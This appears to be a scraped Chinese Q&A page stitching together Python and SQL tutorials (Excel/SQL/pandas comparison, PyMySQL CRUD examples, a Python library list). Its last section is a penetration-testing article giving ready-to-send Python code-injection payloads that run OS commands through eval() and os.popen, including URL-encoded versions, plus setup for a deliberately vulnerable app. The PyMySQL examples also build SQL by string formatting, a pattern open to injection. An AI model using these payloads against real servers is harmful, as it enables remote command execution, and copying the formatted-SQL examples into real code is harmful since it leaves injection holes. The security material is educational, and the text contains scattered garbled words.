❶ 数据处理简单对比：Excel，sql，Python
无论是什么工具，做数据分析的时候一定会涉及到两类工作：
这篇文章简单对比一下Excel、SQL和Python在这两类任务上的实现过程，从而对比其异同。
如图所示，所涉及的共有三个表：
可以看到，score表通过sno和student表连接、通过cno和course表连接。
另外，这张截图截自Excel，主要是为了方便后面Excel部分的讨论。
现在，我想要合并三张表，得到新表merge_table，表包含的列一次为：sno，cno，degree，sname，cname。
即，新表中包含score表的所有列，student表的sname列，以及course表的cname列。
为了讨论方便，先上结果：
首先，在 A17:E17 单元格创建所需列名，然后通过简单复制粘贴得到 A18:C28 这三列的数据。
D、E列的数据可以通过以下两种方法实现：
两种方法实现逻辑和结果都一样，但前者调用的时候比后者稍复杂。为了说明，D列数据的提取我使用了方法1，E列数据的提取我使用了方法2。
D列：
首先在 D18 单元格输入以下函数（函数中的单元格所对应的数据请看图01）
接着下拉函数至 D28 。
E列：
在 E18 单元格输入以下函数（函数中的单元格所对应的数据请看图01）
接着下拉函数至 E28 。
注意，如果要提取某个表中的多个列的数据，比如除了sname，我还想得到ssex、sbirthday和class的数据，由于这些列是一同储存在student表中的，用 VLOOPKUP() 显然更高效。
如果想要加快效率，还可以在原student表上新增一行，用数字x来表示第x列，然后在调用 VLOOPKUP() 时，直接把第三个参数指向这一行。
在合并关联表上，SQL非常便捷。实现的语句有两个（先创建或者导入原数据表）：
或
两种方法返回的结果相同，结果如下：
我用的MySQL，不知道为什么合并后行的顺序变了=。=
在Python中，首先导入 numpy 和 pandas 模块：
接着导入数据表。
之后通过以下语句实现merge_table表的建立：
结果如下：
现在假设score表多了一行数据：
如图所示，蓝色部分为多出的数据，且课程6-106在course表中不存在。请无视逻辑问题，主要是为了方便讨论:）
遇到这种情况，上述的实现方法会出现一个问题：
因为课程号6-106在course表里并不存在，所以函数在返回值的时候出错了。
解决的办法有一个，就是在原函数上嵌套 IF() 函数。比如我把 E29 的函数更改为：
如果函数计算结果错误，则返回0。
在SQL中，如果出现此类情况， LEFT JOIN 会返回NULL值：
如果想把NULL值替换为0，查询合并表的时候可以加上 isnull() 函数（MySQL中此函数写作 ifnull() ）：
如果函数计算结果错误，则返回0
返回结果和Excel的差不多，就不上图了。
Python中情况类似：
如果想把NaN值替换为0，只需要在创建merge_table表之后，添加一行语句：
返回结果也不上图了，和Excel的一样。
面对合并表中数据不匹配，SQL和Python中都可以在合并表的时候把多出项忽略不计，只要把 LEFT JOIN 换成 INNER JOIN 就行了。但Excel不能自动删除多出项所在行。
为了方便，现在做一个透视表，该表返回 选了课的同学的学号和其平均课程成绩 。
三个软件对于透视表的实现都很友好，并且效率相近。
Excel在数据透视表工具下把列各种拖拽就行了。
另外，Excel的数据透视表可以选择返回合计（Grand Total）或者不返回。
语句：
结果：
语句：
结果：
一般做透视表的最终目的是作图，毕竟一图胜千语。
从这个目的出发，Python比SQL、Excel更实用，一来Python比Excel作图高效很多，二来SQL不能作图。
通过上述对比可以发现，Excel合并关联表比SQL、Python要低效得多，而且在“数据不匹配”问题上解决得不好；而在另一方面，三者在创建透视表上表现相似，就看你习惯用哪个了:)
❷ tensorlab 支持python接口吗
这又是一个 Awesome XXX 系列的资源整理，由 vinta 发起和维护。内容包括：Web框架、网络爬虫、网络内容提取、模板引擎、数据库、数据可视化、图片处理、文本处理、自然语言处理、机器学习、日志、代码分析等。
伯乐在线已在 GitHub 上发起“Python 资源大全中文版”的整理。欢迎扩散、欢迎加入。
GitHub - jobbole/awesome-python-cn: Python资源大全中文版
环境管理
管理 Python 版本和环境的工具
p – 非常简单的交互式 python 版本管理工具。
pyenv – 简单的 Python 版本管理工具。
Vex – 可以在虚拟环境中执行命令。
virtualenv – 创建独立 Python 环境的工具。
virtualenvwrapper- virtualenv 的一组扩展。
包管理
管理包和依赖的工具。
pip – Python 包和依赖关系管理工具。
pip-tools – 保证 Python 包依赖关系更新的一组工具。
conda – 跨平台，Python 二进制包管理工具。
Curdling – 管理 Python 包的命令行工具。
wheel – Python 分发的新标准，意在取代 eggs。
包仓库
本地 PyPI 仓库服务和代理。
warehouse – 下一代 PyPI。
Warehousebandersnatch – PyPA 提供的 PyPI 镜像工具。
devpi – PyPI 服务和打包/测试/分发工具。
localshop – 本地 PyPI 服务（自定义包并且自动对 PyPI 镜像）。
分发
打包为可执行文件以便分发。
PyInstaller – 将 Python 程序转换成独立的执行文件（跨平台）。
dh-virtualenv – 构建并将 virtualenv 虚拟环境作为一个 Debian 包来发布。
Nuitka – 将脚本、模块、包编译成可执行文件或扩展模块。
py2app – 将 Python 脚本变为独立软件包（Mac OS X）。
py2exe – 将 Python 脚本变为独立软件包（Windows）。
pynsist – 一个用来创建 Windows 安装程序的工具，可以在安装程序中打包 Python本身。
构建工具
将源码编译成软件。
buildout – 一个构建系统，从多个组件来创建，组装和部署应用。
BitBake – 针对嵌入式 Linux 的类似 make 的构建工具。
fabricate – 对任何语言自动找到依赖关系的构建工具。
PlatformIO – 多平台命令行构建工具。
PyBuilder – 纯 Python 实现的持续化构建工具。
SCons – 软件构建工具。
交互式解析器
交互式 Python 解析器。
IPython – 功能丰富的工具，非常有效的使用交互式 Python。
bpython- 界面丰富的 Python 解析器。
ptpython – 高级交互式Python解析器， 构建于python-prompt-toolkit 之上。
文件
文件管理和 MIME（多用途的网际邮件扩充协议）类型检测。
imghdr – （Python 标准库）检测图片类型。
mimetypes – （Python 标准库）将文件名映射为 MIME 类型。
path.py – 对 os.path 进行封装的模块。
pathlib – （Python3.4+ 标准库）跨平台的、面向对象的路径操作库。
python-magic- 文件类型检测的第三方库 libmagic 的 Python 接口。
Unipath- 用面向对象的方式操作文件和目录
watchdog – 管理文件系统事件的 API 和 shell 工具
日期和时间
操作日期和时间的类库。
arrow- 更好的 Python 日期时间操作类库。
Chronyk – Python 3 的类库，用于解析手写格式的时间和日期。
dateutil – Python datetime 模块的扩展。
delorean- 解决 Python 中有关日期处理的棘手问题的库。
moment – 一个用来处理时间和日期的Python库。灵感来自于Moment.js。
PyTime – 一个简单易用的Python模块，用于通过字符串来操作日期/时间。
pytz – 现代以及历史版本的世界时区定义。将时区数据库引入Python。
when.py – 提供用户友好的函数来帮助用户进行常用的日期和时间操作。
文本处理
用于解析和操作文本的库。
通用
chardet – 字符编码检测器，兼容 Python2 和 Python3。
difflib – (Python 标准库)帮助我们进行差异化比较。
ftfy – 让Unicode文本更完整更连贯。
fuzzywuzzy – 模糊字符串匹配。
Levenshtein – 快速计算编辑距离以及字符串的相似度。
pangu.py – 在中日韩语字符和数字字母之间添加空格。
pyfiglet -figlet 的 Python实现。
shortuuid – 一个生成器库，用以生成简洁的，明白的，URL 安全的 UUID。
unidecode – Unicode 文本的 ASCII 转换形式 。
uniout – 打印可读的字符，而不是转义的字符串。
xpinyin – 一个用于把汉字转换为拼音的库。
Slug化
awesome-slugify – 一个 Python slug 化库，可以保持 Unicode。
python-slugify – Python slug 化库，可以把 unicode 转化为 ASCII。
unicode-slugify – 一个 slug 工具，可以生成 unicode slugs ,需要依赖 Django 。
解析器
phonenumbers – 解析，格式化，储存，验证电话号码。
PLY – lex 和 yacc 解析工具的 Python 实现。
Pygments – 通用语法高亮工具。
pyparsing – 生成通用解析器的框架。
python-nameparser – 把一个人名分解为几个独立的部分。
python-user-agents – 浏览器 user agent 解析器。
sqlparse – 一个无验证的 SQL 解析器。
特殊文本格式处理
一些用来解析和操作特殊文本格式的库。
通用
tablib – 一个用来处理中表格数据的模块。
Office
Marmir – 把输入的Python 数据结构转换为电子表单。
openpyxl – 一个用来读写 Excel 2010 xlsx/xlsm/xltx/xltm 文件的库。
python-docx – 读取，查询以及修改 Microsoft Word 2007/2008 docx 文件。
unoconv – 在 LibreOffice/OpenOffice 支持的任意文件格式之间进行转换。
XlsxWriter – 一个用于创建 Excel .xlsx 文件的 Python 模块。
xlwings – 一个使得在 Excel 中方便调用 Python 的库（反之亦然），基于 BSD 协议。
xlwt / xlrd – 读写 Excel 文件的数据和格式信息。
relatorio – 模板化OpenDocument 文件。
PDF
PDFMiner – 一个用于从PDF文档中抽取信息的工具。
PyPDF2 – 一个可以分割，合并和转换 PDF 页面的库。
ReportLab – 快速创建富文本 PDF 文档。
Markdown
Mistune – 快速并且功能齐全的纯 Python 实现的 Markdown 解析器。
Python-Markdown – John Gruber’s Markdown 的 Python 版实现。
YAML
PyYAML – Python 版本的 YAML 解析器。
CSV
csvkit – 用于转换和操作 CSV 的工具。
Archive
unp – 一个用来方便解包归档文件的命令行工具。
自然语言处理
用来处理人类语言的库。
NLTK – 一个先进的平台，用以构建处理人类语言数据的 Python 程序。
jieba – 中文分词工具。
langid.py – 独立的语言识别系统。
Pattern – Python 网络信息挖掘模块。
SnowNLP – 一个用来处理中文文本的库。
TextBlob – 为进行普通自然语言处理任务提供一致的 API。
TextGrocery – 一简单高效的短文本分类工具，基于 LibLinear 和 Jieba。
文档
用以生成项目文档的库。
Sphinx – Python 文档生成器。
awesome-sphinxdoc
MkDocs – 对 Markdown 友好的文档生成器。
pdoc – 一个可以替换Epydoc 的库，可以自动生成 Python 库的 API 文档。
Pycco – 文学编程（literate-programming）风格的文档生成器。
配置
用来保存和解析配置的库。
config – logging 模块作者写的分级配置模块。
ConfigObj – INI 文件解析器，带验证功能。
ConfigParser – (Python 标准库) INI 文件解析器。
profig – 通过多种格式进行配置，具有数值转换功能。
python-decouple – 将设置和代码完全隔离。
命令行工具
用于创建命令行程序的库。
命令行程序开发
cement – Python 的命令行程序框架。
click – 一个通过组合的方式来创建精美命令行界面的包。
cliff – 一个用于创建命令行程序的框架，可以创建具有多层命令的命令行程序。
clint – Python 命令行程序工具。
colorama – 跨平台彩色终端文本。
docopt – Python 风格的命令行参数解析器。
Gooey – 一条命令，将命令行程序变成一个 GUI 程序。
python-prompt-toolkit – 一个用于构建强大的交互式命令行程序的库。
生产力工具
aws-cli – Amazon Web Services 的通用命令行界面。
bashplotlib – 在终端中进行基本绘图。
caniusepython3 – 判断是哪个项目妨碍你你移植到 Python 3。
cookiecutter – 从 cookiecutters（项目模板）创建项目的一个命令行工具。
❸ Python/PHP MySQL语句解析器解决业务分表
自己曾经做过一个网盘项目。刚开始由于需要快速地从0到1建设上线，所以没有对核心文档表进行分表。当然我的架构理念也是“按需架构设计”。产品需求在没有明确的长远计划的情况下以“小步快跑，赶超竞品”为主。后期由于产品功能触达目标用户群需求点、产品用户体验不断提升、产品多方位导流、加强产品推广文档表每天有百万数据增长量。不得不对文档表进行按用户id分表。当时产品功能已全覆盖文档的生命周期。产品功能已丰富多彩。修改所有关联文档表的业务代码为按用户id分表开发测试成本非常高。上线后线上问题不可控。经过考虑在业务代码最底层DB层进行SQL语句解析来进行用户id分表处理。这样的话开发测试成本都非常低。上线后有问题方便回滚和追查原因。
今天为大家介绍Python/PHP两种MySQL语句解析器。当时网盘项目用的是PHP编程语言开发。
Python的SQL语句解析器 。个人推荐使用moz_sql_parser库。经调研官方的sqlparse库解析出来的语句段无法满足需求也很难理解。
1、Python moz_sql_parser库安装
2、Python moz_sql_parser SQL语句解析
3、Python moz_sql_parser总结
PHP的SQL语句解析器。 个人推荐使用PhpMyAdmin的sql-parser组件。PhpMyAdmin是经过 历史 检验可信赖的。
1、PHP PhpMyAdmin/sql-parser安装
2、PHP PhpMyAdmin/sql-parser SQL语句解析
3、PHP PhpMyAdmin/sql-parser总结
大家有什么问题可以发评论沟通。
❹ plpython3u判断sql是否查表
plpython3u是PostgreSQL数据库的一种编程语言，可以在其中编写Python程序来进行数据竖枝库操作。在Python程序中，可以使用psycopg2库进行与PostgreSQL数据库的交互。
判断SQL是否查表，可以通过判断SQL语句中是否包含“FROM”这个关键字来进行判断。如果SQL语句中包含了“FROM”关键字，那么就可以认为这个SQL语句是查询表的操作。
在使用plpython3u进行数余银敏据库操作时，可以使用psycopg2库提供的cursor对象的execute()方法来执行SQL语句。执行完SQL语句后，可以使用cursor对象的rowcount属性来获取SQL语句影响的行数。
需要注意的是，即使SQL语句没有查询任何表，也可能会有返回结果。例如，可以使用SELECT 1这个语句来测试数据库连接是否正常。这个语句不查询搏梁任何表，但是会返回一个结果集，这个结果集中只有一行一列，值为1。
总之，通过判断SQL语句中是否包含“FROM”关键字，可以初步判断这个SQL语句是否是查询表的操作。但是，需要具体情况具体分析，不能仅凭这个来判断。
❺ 如何用python写sql
python可以利用pymysql模块操作数据库。
什么是 PyMySQL？
PyMySQL 是在 Python3.x 版本中用于连接 MySQL 服务器的一个库，Python2中则使用mysqldb。
PyMySQL 遵循 Python 数据库 API v2.0 规范，并包含了 pure-Python MySQL 客户端库。
PyMySQL 安装
在使用 PyMySQL 之前，我们需要确保 PyMySQL 已安装。
PyMySQL 下载地址：https://github.com/PyMySQL/PyMySQL。
如果还未安装，我们可以使用以下命令安装最新版的 PyMySQL：
$ pip3 install PyMySQL
如果你的系统不支持 pip 命令，可以使用以下方式安装：
1、使用 git 命令下载安装包安装(你也可以手动下载)：
$ git clone https://github.com/PyMySQL/PyMySQL$ cd PyMySQL/$ python3 setup.py install
2、如果需要制定版本号，可以使用 curl 命令来安装：
$ # X.X 为 PyMySQL 的版本号$ curl -L https://github.com/PyMySQL/PyMySQL/tarball/pymysql-X.X | tar xz$ cd PyMySQL*$ python3 setup.py install
$ # 现在你可以删除 PyMySQL* 目录
注意：请确保您有root权限来安装上述模块。
安装的过程中可能会出现"ImportError: No mole named setuptools"的错误提示，意思是你没有安装setuptools，你可以访问https://pypi.python.org/pypi/setuptools找到各个系统的安装方法。
Linux 系统安装实例：
$ wget https://bootstrap.pypa.io/ez_setup.py$ python3 ez_setup.py
数据库连接
连接数据库前，请先确认以下事项：
您已经创建了数据库 TESTDB.
在TESTDB数据库中您已经创建了表 EMPLOYEE
EMPLOYEE表字段为 FIRST_NAME, LAST_NAME, AGE, SEX 和 INCOME。
连接数据库TESTDB使用的用户名为 "testuser" ，密码为 "test123",你可以可以自己设定或者直接使用root用户名及其密码，Mysql数据库用户授权请使用Grant命令。
在你的机子上已经安装了 Python MySQLdb 模块。
如果您对sql语句不熟悉，可以访问我们的SQL基础教程
- Database version : 5.5.20-log
- ..................................user_id = "test123"password = "password"con.execute('insert into Login values( %s, %s)' % (user_id, password))..................................
fetchone():该方法获取下一个查询结果集。结果集是一个对象
fetchall():接收全部的返回结果行.
rowcount:这是一个只读属性，并返回执行execute()方法后影响的行数。
- fname=Mac, lname=Mohan, age=20, sex=M, income=2000
原子性（atomicity）。一个事务是一个不可分割的工作单位，事务中包括的诸操作要么都做，要么都不做。
一致性（consistency）。事务必须是使数据库从一个一致性状态变到另一个一致性状态。一致性与原子性是密切相关的。
隔离性（isolation）。一个事务的执行不能被其他事务干扰。即一个事务内部的操作及使用的数据对并发的其他事务是隔离的，并发执行的各个事务之间不能互相干扰。
持久性（rability）。持续性也称永久性（permanence），指一个事务一旦提交，它对数据库中数据的改变就应该是永久性的。接下来的其他操作或故障不应该对其有任何影响。
实例：
以下实例链接 Mysql 的 TESTDB 数据库：
实例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打开数据库连接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用 cursor() 方法创建一个游标对象 cursorcursor = db.cursor()
# 使用 execute() 方法执行 SQL 查询 cursor.execute("SELECT VERSION()")
# 使用 fetchone() 方法获取单条数据.data = cursor.fetchone()
print ("Database version : %s " % data)
# 关闭数据库连接db.close()
执行以上脚本输出结果如下：
创建数据库表
如果数据库连接存在我们可以使用execute()方法来为数据库创建表，如下所示创建表EMPLOYEE：
实例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打开数据库连接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用 cursor() 方法创建一个游标对象 cursorcursor = db.cursor()
# 使用 execute() 方法执行 SQL，如果表存在则删除cursor.execute("DROP TABLE IF EXISTS EMPLOYEE")
# 使用预处理语句创建表sql = """CREATE TABLE EMPLOYEE (
FIRST_NAME CHAR(20) NOT NULL,
LAST_NAME CHAR(20),
AGE INT,
SEX CHAR(1),
INCOME FLOAT )"""
cursor.execute(sql)
# 关闭数据库连接db.close()
数据库插入操作
以下实例使用执行 SQL INSERT 语句向表 EMPLOYEE 插入记录：
实例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打开数据库连接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法获取操作游标 cursor = db.cursor()
# SQL 插入语句sql = """INSERT INTO EMPLOYEE(FIRST_NAME,
LAST_NAME, AGE, SEX, INCOME)
VALUES ('Mac', 'Mohan', 20, 'M', 2000)"""try: # 执行sql语句
cursor.execute(sql)
# 提交到数据库执行
db.commit()except: # 如果发生错误则回滚
db.rollback()
# 关闭数据库连接db.close()
以上例子也可以写成如下形式：
实例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打开数据库连接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法获取操作游标 cursor = db.cursor()
# SQL 插入语句sql = "INSERT INTO EMPLOYEE(FIRST_NAME,
LAST_NAME, AGE, SEX, INCOME)
VALUES ('%s', '%s', %s, '%s', %s)" % ('Mac', 'Mohan', 20, 'M', 2000)try: # 执行sql语句
cursor.execute(sql)
# 执行sql语句
db.commit()except: # 发生错误时回滚
db.rollback()
# 关闭数据库连接db.close()
以下代码使用变量向SQL语句中传递参数:
数据库查询操作
Python查询Mysql使用 fetchone() 方法获取单条数据, 使用fetchall() 方法获取多条数据。
实例：
查询EMPLOYEE表中salary（工资）字段大于1000的所有数据：
实例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打开数据库连接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法获取操作游标 cursor = db.cursor()
# SQL 查询语句sql = "SELECT * FROM EMPLOYEE
WHERE INCOME > %s" % (1000)try: # 执行SQL语句
cursor.execute(sql)
# 获取所有记录列表
results = cursor.fetchall()
for row in results: fname = row[0]
lname = row[1]
age = row[2]
sex = row[3]
income = row[4]
# 打印结果
print ("fname=%s,lname=%s,age=%s,sex=%s,income=%s" % (fname, lname, age, sex, income ))except: print ("Error: unable to fetch data")
# 关闭数据库连接db.close()
以上脚本执行结果如下：
数据库更新操作
更新操作用于更新数据表的的数据，以下实例将 TESTDB 表中 SEX 为 'M' 的 AGE 字段递增 1：
实例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打开数据库连接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法获取操作游标 cursor = db.cursor()
# SQL 更新语句sql = "UPDATE EMPLOYEE SET AGE = AGE + 1 WHERE SEX = '%c'" % ('M')try: # 执行SQL语句
cursor.execute(sql)
# 提交到数据库执行
db.commit()except: # 发生错误时回滚
db.rollback()
# 关闭数据库连接db.close()
删除操作
删除操作用于删除数据表中的数据，以下实例演示了删除数据表 EMPLOYEE 中 AGE 大于 20 的所有数据：
实例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打开数据库连接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法获取操作游标 cursor = db.cursor()
# SQL 删除语句sql = "DELETE FROM EMPLOYEE WHERE AGE > %s" % (20)try: # 执行SQL语句
cursor.execute(sql)
# 提交修改
db.commit()except: # 发生错误时回滚
db.rollback()
# 关闭连接db.close()
执行事务
事务机制可以确保数据一致性。
事务应该具有4个属性：原子性、一致性、隔离性、持久性。这四个属性通常称为ACID特性。
Python DB API 2.0 的事务提供了两个方法 commit 或 rollback。
实例
实例(Python 3.0+)
# SQL删除记录语句sql = "DELETE FROM EMPLOYEE WHERE AGE > %s" % (20)try: # 执行SQL语句
cursor.execute(sql)
# 向数据库提交
db.commit()except: # 发生错误时回滚
db.rollback()
对于支持事务的数据库， 在Python数据库编程中，当游标建立之时，就自动开始了一个隐形的数据库事务。
commit()方法游标的所有更新操作，rollback（）方法回滚当前游标的所有操作。每一个方法都开始了一个新的事务。
错误处理
DB API中定义了一些数据库操作的错误及异常，下表列出了这些错误和异常:
异常
描述
Warning 当有严重警告时触发，例如插入数据是被截断等等。必须是 StandardError 的子类。
Error 警告以外所有其他错误类。必须是 StandardError 的子类。
InterfaceError 当有数据库接口模块本身的错误（而不是数据库的错误）发生时触发。 必须是Error的子类。
DatabaseError 和数据库有关的错误发生时触发。 必须是Error的子类。
DataError 当有数据处理时的错误发生时触发，例如：除零错误，数据超范围等等。 必须是DatabaseError的子类。
OperationalError 指非用户控制的，而是操作数据库时发生的错误。例如：连接意外断开、 数据库名未找到、事务处理失败、内存分配错误等等操作数据库是发生的错误。 必须是DatabaseError的子类。
IntegrityError 完整性相关的错误，例如外键检查失败等。必须是DatabaseError子类。
InternalError 数据库的内部错误，例如游标（cursor）失效了、事务同步失败等等。 必须是DatabaseError子类。
ProgrammingError 程序错误，例如数据表（table）没找到或已存在、SQL语句语法错误、 参数数量错误等等。必须是DatabaseError的子类。
NotSupportedError 不支持错误，指使用了数据库不支持的函数或API等。例如在连接对象上 使用.rollback()函数，然而数据库并不支持事务或者事务已关闭。 必须是DatabaseError的子类。
❻ 如何python获取sql数据库访问的url
python
操作数据库，要安装一个Python和数据库交互的包MySQL-python-1.2.2.win32-py2.5.exe，然后我们就可以使用MySQLdb这个包进行数据库操作了。
操作步骤如下：
1、建立数据库连接
import
MySQLdb
conn=MySQLdb.connect(host="localhost",user="root",passwd="sa",db="mytable")
cursor=conn.cursor()
2、执行数据库操作
n=cursor.execute(sql,param)
我们要使用连接对象获得一个cursor对象,接下来,我们会使用cursor提供的方法来进行工作.
这些方法包括两大类:1.执行命令,2.接收返回值
3、cursor用来执行命令的方法:
callproc(self, procname,
args):用来执行存储过程,接收的参数为存储过程名和参数列表,返回值为受影响的行数
execute(self, query,
args):执行单条sql语句,接收的参数为sql语句本身和使用的参数列表,返回值为受影响的行数
executemany(self, query,
args):执行单挑sql语句,但是重复执行参数列表里的参数,返回值为受影响的行数
nextset(self):移动到下一个结果集
4、cursor用来接收返回值的方法:
fetchall(self):接收全部的返回结果行.
fetchmany(self,
size=None):接收size条返回结果行.如果size的值大于返回的结果行的数量,则会返回cursor.arraysize条数据.
fetchone(self):返回一条结果行.
scroll(self, value,
mode='relative'):移动指针到某一行.如果mode='relative',则表示从当前所在行移动value条,如果mode='absolute',则表示从结果集的第一
行移动value条.
5、下面的代码是一个完整的例子.
#使用sql语句,这里要接收的参数都用%s占位符.要注意的是,无论你要插入的数据是什么类型,占位符永远都要用%s
sql="insert
into cdinfo values(%s,%s,%s,%s,%s)"
#param应该为tuple或者list
param=(title,singer,imgurl,url,alpha)
#执行,如果成功,n的值为1
n=cursor.execute(sql,param)
#再来执行一个查询的操作
cursor.execute("select
* from cdinfo")
#我们使用了fetchall这个方法.这样,cds里保存的将会是查询返回的全部结果.每条结果都是一个tuple类型的数据,这些tuple组成了一个tuple
cds=cursor.fetchall()
#因为是tuple,所以可以这样使用结果集
print
cds[0][3]
#或者直接显示出来,看看结果集的真实样子
print
cds
#如果需要批量的插入数据,就这样做
sql="insert
into cdinfo values(0,%s,%s,%s,%s,%s)"
#每个值的集合为一个tuple,整个参数集组成一个tuple,或者list
param=((title,singer,imgurl,url,alpha),(title2,singer2,imgurl2,url2,alpha2))
#使用executemany方法来批量的插入数据.这真是一个很酷的方法!
n=cursor.executemany(sql,param)
需要注意的是(或者说是我感到奇怪的是),在执行完插入或删除或修改操作后,需要调用一下conn.commit()方法进行提交.这样,数据才会真正保
存在数据库中.我不清楚是否是我的mysql设置问题,总之,今天我在一开始使用的时候,如果不用commit,那数据就不会保留在数据库中,但是,数据
确实在数据库呆过.因为自动编号进行了累积,而且返回的受影响的行数并不为0.
6、关闭数据库连接
需要分别的关闭指针对象和连接对象.他们有名字相同的方法
cursor.close()
conn.close()
Django操作数据库
django是一个出色的用于python的web框架。django连接有操作数据库的api，使用起来十分简洁。我们在settings.py中配置好所要连接的数据库，然后在moles、view、urls中分别写好业务逻辑
❼ 如何使用python查找网站漏洞
如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息，但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下，我们成功地通过Burp POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。
因为除了Python之外，还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供一些有价值的参考内容：
1. CWE-94：代码生成控制不当(‘代码注入’)2. CWE-95：动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击这里获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：
1. Web应用接受用户输入(例如GET/POST参数，cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查，或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码：
\
大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话，那么Web应用中也将会出现这个漏洞。
不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload：
\
我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的)，是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理，因此Burp Suite Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的方法来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景：
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
